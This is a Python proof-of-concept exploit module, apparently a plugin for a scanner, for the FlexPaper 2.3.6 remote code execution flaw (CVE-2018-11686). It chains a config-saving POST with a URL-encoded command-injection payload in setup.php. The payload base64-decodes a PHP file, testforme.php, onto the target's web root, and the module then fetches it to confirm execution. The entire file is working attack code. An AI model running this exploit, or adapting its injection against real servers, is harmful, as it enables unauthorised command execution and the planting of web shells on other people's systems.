#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @author: 'orleven'

from lib.utils.connect import ClientSession
from lib.core.enums import VUL_LEVEL
from lib.core.enums import VUL_TYPE
from lib.core.enums import SERVICE_PORT_MAP
from script import Script

class POC(Script):
    def __init__(self, target=None):
        self.service_type = SERVICE_PORT_MAP.WEB
        self.name = 'flexpaper 2.3.6 getshell'
        self.keyword = ['flexpaper']
        self.info = 'FlexPaper <= 2.3.6 RCE.(CVE-2018-11686)'
        self.type = VUL_TYPE.RCE
        self.level = VUL_LEVEL.HIGH
        self.refer = 'https://mp.weixin.qq.com/s/8eBwfW231Nm02Lz8La2P1w'
        Script.__init__(self, target=target, service_type=self.service_type)

    async def prove(self):
        await self.get_url()
        if self.base_url:
            path_list = list(set([
                self.url_normpath(self.base_url, '/'),
                self.url_normpath(self.url, './'),
            ]))
            async with ClientSession() as session:
                for path in path_list:
                    payload = (
                        ("SAVE_CONFIG", "1"), ("PDF_Directory", "/var/www/html/flex2.3.6/flexpaper/pdf"),
                        ("SWF_Directory", "config/"),
                        ("LICENSEKEY", ""), ("splitmode", "1"), ("RenderingOrder_PRIM", "flash"), ("RenderingOrder_SEC", "html"))
                    shellcode = "%65%63%68%6f%20%50%44%39%77%61%48%41%67%63%47%68%77%61%57%35%6d%62%79%67%70%4f%7a%38%2b%20%7c%62%61%73%65%36%34%20%2d%64%20%3e%24%28%70%77%64%29%2f%74%65%73%74%66%6f%72%6d%65%2e%70%68%70"
                    url1 = path + "flexpaper/php/change_config.php"
                    url2 = path + "flexpaper/php/setup.php?step=2&PDF2SWF_PATH=" + shellcode
                    url3 = path + 'flexpaper/php/testforme.php'
                    async with session.post(url=url1, data=payload) as res1:
                        if res1 != None and res1.status == 200:
                            async with session.get(url=url2) as res2:
                                if res2 != None and res2.status == 200:
                                    async with session.get(url=url3) as res3:
                                        if res3 != None:
                                            text3 = await res3.text()
                                            if "php.ini" in text3:
                                                self.flag = 1
                                                self.req.append({"url": url3})
                                                self.res.append({"info": url3, "key": "flexpaper_236_getshell"})
                                                return